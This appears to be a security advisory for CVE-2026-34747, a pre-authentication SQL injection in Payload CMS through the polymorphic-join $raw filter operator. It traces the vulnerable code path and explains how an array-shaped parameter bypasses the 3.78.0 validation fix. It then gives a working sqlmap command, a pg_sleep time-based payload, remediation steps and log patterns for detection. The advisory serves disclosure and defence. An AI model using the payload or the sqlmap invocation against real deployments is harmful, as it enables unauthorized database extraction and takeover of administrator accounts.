Overview

Payload, an open-source headless CMS built on Next.js, shipped a REST query layer that accepted deeply nested filter operators against collection and join fields.

A join field in Payload is a virtual field that pulls in records from another collection, for example the Posts belonging to a given Category. A polymorphic join is one whose related records can come from any of several collections (e.g. Posts, Pages, or Products), not just one fixed target.

The polymorphic-join path in versions prior to 3.79.1 preserves attacker-controlled operators all the way from qs.parse() into Drizzle's sql.raw() sink.

Any deployment that exposes a publicly readable collection with a polymorphic join field is reachable pre-auth. A single HTTP request lands attacker-supplied SQL into the prepared statement that runs against the underlying database.


Vulnerability Details

Field Value
CVE ID CVE-2026-34747
Severity High
CVSS 3.1 Score 8.5
Affected Versions Payload < 3.79.1
Attack Vector Network, HTTP GET/POST to the REST API
Authentication Required None (public collection + polymorphic join field)
Published March 30, 2026

Technical Breakdown

Along the request path, the query parser accepts arbitrary nested operators, the join sanitizer leaves the user-controlled where object unchanged, the validator only rejects unknown operators when their value is not an object, and the Drizzle sink resolves $raw to a direct sql.raw() call that the database engine ends up interpreting as SQL syntax rather than as data.

Query parsing preserves the nested operator

The REST entrypoint in packages/payload/src/utilities/createPayloadRequest.ts parses the incoming query string with qs.parse():

// utilities/createPayloadRequest.ts
const query = queryToParse
  ? qs.parse(queryToParse, {
      arrayLimit: 1000,
      depth: 10,
      ignoreQueryPrefix: true,
    })
  : {}

qs (qs-esm) is a widely-used Node.js library for parsing URL query strings. It reads square-bracket notation as nested structure. a[b][c]=1 becomes { a: { b: { c: '1' } } }, while a numeric index such as a[b][0]=1 produces an array ({ a: { b: ['1'] } }).

A nested filter parameter such as:

?joins[children][where][id][$raw]=true

is converted into a structured object before any validation runs:

{
  "joins": {
    "children": {
      "where": {
        "id": {
          "$raw": "true"
        }
      }
    }
  }
}

At this point, the dangerous $raw operator is already a normal node in the parsed filter tree.

Join sanitization does not strip unknown operators

After createPayloadRequest builds the request, the parsed query lives at req.query. REST handlers such as findHandler in collections/endpoints/find.ts then pass that object through parseParams(), which routes the joins subtree to sanitizeJoinParams():

// utilities/parseParams/index.ts
if ('joins' in params) {
  parsedParams.joins = sanitizeJoinParams(params.joins as JoinParams)
}

Despite the name, sanitizeJoinParams() is a type coercer, not a security filter. Its own description states "Convert request JoinQuery object from strings to numbers." For each join entry, it constructs a fresh object containing only count, limit, page, sort, and where, casting numeric strings to numbers and "true"/"false" to booleans.

The where field, however, is handed back verbatim:

// utilities/sanitizeJoinParams.ts
joinQuery[schemaPath] = {
  count: joins[schemaPath].count === 'true',
  limit: isNumber(joins[schemaPath]?.limit) ? Number(joins[schemaPath].limit) : undefined,
  page:  isNumber(joins[schemaPath]?.page)  ? Number(joins[schemaPath].page)  : undefined,
  sort:  joins[schemaPath]?.sort  ? joins[schemaPath].sort  : undefined,
  where: joins[schemaPath]?.where ? joins[schemaPath].where : undefined,   // [!] passthrough
}

There is no recursive walk into where, no key allowlist, and no operator filtering. Whatever qs.parse() produced, including { id: { $raw: "true" } } or { id: { $raw: ["true"] } }, flows through unchanged. $raw survives because the function never inspects what is inside where.

Validation is representation-sensitive in 3.78.0

The next stage validates query filters before they are handed to the database layer. The 3.78.0 patch added a rejection branch intended to stop unknown operators:

// database/queryValidation/validateQueryPaths.ts
} else if (!Array.isArray(constraint)) {
  for (const operator in constraint) {
    const val = constraint[operator as keyof typeof constraint]
    if (validOperatorSet.has(operator as Operator)) {
      // . . .
      // validate known operators
      // . . .
    } else if (typeof val !== 'object' || val === null) { // 3.78.0 patch: this branch was not present in 3.77.0
      errors.push({ path: `${path}.${operator}` })
    }
  }
}

On paper, the check rejects unknown operators. In practice, the rejection only fires when the operator's value is not an object. In JavaScript, arrays satisfy typeof value === 'object', so the array form of the payload passes validation untouched:

joins[children][where][id][$raw]=true          # scalar form — rejected in 3.78.0
joins[children][where][id][$raw][0]=true       # array form  — still accepted

The reason is that qs.parse() converts the second form into:

{ "$raw": ["true"] }

For that value, typeof val !== 'object' is false, so no validation error is pushed.

The 3.78.0 patch was representation-sensitive: it rejected the dangerous operator based on the form of the input while leaving the dangerous sink untouched.

The sink concatenates the tainted value into SQL

The terminal stage sits in packages/drizzle/src/find/traverseFields.ts, where the Drizzle adapter translates Payload query operators into SQL fragments. Pre-3.79.1, the file exposed a direct $raw branch with no type guard:

// drizzle/src/find/traverseFields.ts
if (payloadOperator === '$raw') {
  return sql.raw(value)
}

sql.raw() is a drizzle-orm helper for inserting text directly into a query. The string it receives becomes part of the SQL that the database parses, with no escaping and no parameter binding.

Internally, sql.raw() is a thin wrapper that hands its argument to a StringChunk constructor:

// drizzle-orm/src/sql/sql.ts — function raw
export function raw(str: string): SQL {
  return new SQL([new StringChunk(str)]);
}

A single-element array such as ["payload"] is normalized by that constructor into the same shape as the scalar string "payload":

// drizzle-orm/src/sql/sql.ts — class StringChunk
constructor(value: string | string[]) {
  this.value = Array.isArray(value) ? value : [value];
}

In 3.78.0, the validation layer treated the two representations differently, but the sink treated them as equivalent. Once $raw crossed the earlier layers, the adapter stopped treating the input as data and started treating it as SQL syntax.

The attacker controls the SQL statement executed against the polymorphic-join path. The sink calls sql.raw(value) with no escaping, no parameterization, and no string-type guard.


Exploitation

The injection is confirmable with a single HTTP request. The array form of the operator is required to bypass the 3.78.0 validation branch. For 3.77.0, either form works.

The demonstration below was carried out against a Payload deployment backed by a PostgreSQL database.

sqlmap one-shot

sqlmap -u "https://[target.host]/api/[collection]?joins[children][where][id][\$raw][0]=*" \
       --method GET -p "joins[children][where][id][\$raw][0]" \
       --dbms PostgreSQL --technique=T \
       --level 5 --risk 3 --batch --force-ssl --threads=10

sqlmap confirms a time-based blind payload from an unauthenticated perspective, without any prior session, login attempt, or credentials.

Parameter: joins[children][where][id][$raw][0] ((custom) GET)
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: joins[children][where][id][$raw][0]=1 AND 5067=(SELECT 5067 FROM PG_SLEEP(5))

This output demonstrates an unauthenticated, time-based blind SQL injection through the array-shaped $raw JSON-style operator, allowing arbitrary data extraction from the underlying PostgreSQL database.


Impact

  • Full Database Read: A single unauthenticated HTTP request reads any column of any table accessible to the Payload database user, including users and session storage.
  • Administrator Takeover: Bcrypt-hashed administrator credentials and salts in users enable offline cracking once the relevant columns are exfiltrated.
  • High Exploitation Likelihood: If a publicly readable collection with a polymorphic join field is exposed, the attack requires no authentication.

Mitigation & Remediation

  • Upgrade Immediately: Patch any Payload CMS deployment in the affected version range to release 3.79.1, which ships the upstream fix. The 3.78.0 release does not fully remediate the issue.
  • Verify the Fix Is Present: In 3.79.1, validateQueryPaths() rejects every unknown operator regardless of the type of its value. buildSQLWhere() now checks the type of $raw's value before calling sql.raw(). If the value is not a string, the function returns early and sql.raw() is never invoked.
  • Rotate Credentials & Sessions: Reset administrator passwords, rotate API keys, and invalidate all active sessions. Assume any exposed pre-3.79.1 instance with a public polymorphic-join field is compromised.
  • Audit Logs: Monitor for REST requests containing joins[...][where][...][$raw] (with or without [0]), pg_sleep(, SELECT, UNION, or BENCHMARK( in the query string, or response times far above the endpoint's normal sub-second baseline.

References